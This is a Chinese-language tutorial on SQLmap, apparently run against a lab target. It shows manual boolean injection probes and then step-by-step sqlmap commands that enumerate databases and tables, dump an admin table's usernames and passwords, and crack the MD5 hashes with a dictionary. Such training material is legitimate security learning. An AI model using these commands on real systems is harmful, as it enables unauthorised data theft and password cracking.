01SQLmap进行注入点判断

SQLmap: SQLmap是一个自动化的SQL注入工具,主要功能是扫描,发现并利用SQL注入漏洞

支持的数据库

MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP MaxDB

SQLmap采用几种独特的SQL注入技术

盲推理SQL注入

UNION查询SQL注入

堆查询

盲注

广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

02SQLmap注入出数据

步骤1:注入点判断

http://172.16.12.2/inject.php?id=1

id=1 可能是一个与数据库进行交互的参数

id=1后面加上语句 探测那些语句是否怎地被带入查询

id=1 and 0

http://172.16.12.2/inject.php?id=1 and 0 假

http://172.16.12.2/inject.php?id=1 and 1 真

SQLmap工具进行注入测试

python sqlmap.py -u “http://172.16.12.2/inject.php?id=1"

-u 参数指定目标注入地址

识别mysql数据库

it looks likee MySQL y

注入等级

level y

id 这个参数被认定是可注入参数

id is vulnerable 直接回车

返回信息

web server Windows

web application PHP 5.3.29 Apache 2.4.10

MySQL >= 5.5

步骤2 注入出数据

python sqlmap.py -u “http://172.16.12.2/inject.php?id=1" –dbs

–dbs 列数据库

python sqlmap.py -u “http://172.16.12.2/inject.php?id=1" –current-db

–current-db 列当前数据库

python sqlmap.py -u “http://172.16.12.2/inject.php?id=1" -D sqlinject –tables

-D dbname 指定数据库名称

–tables 列出某数据库上的所有表

python sqlmap.py -u “http://172.16.12.2/inject.php?id=1" -D sqlinject -T admin –columns

-D dbname 指定数据库名称

-T tablename 指定某数据表名称

–columns 列出指定表上的所有列

python sqlmap.py -u “http://172.16.12.2/inject.php?id=1" -D sqlinject -T admin -C id,username,password –dump

-D dbname 指定数据库名称

-T tablename 指定某数据表名称

-C Cnmme 指定列名

–dump 导出列里面的字段

do you want to crack them via a dictionary-based attck?[y/n/q]

导出的数据经过MD5加密,通过字典爆破数据密码

直接回车

do you want to use?

选择什么字典

1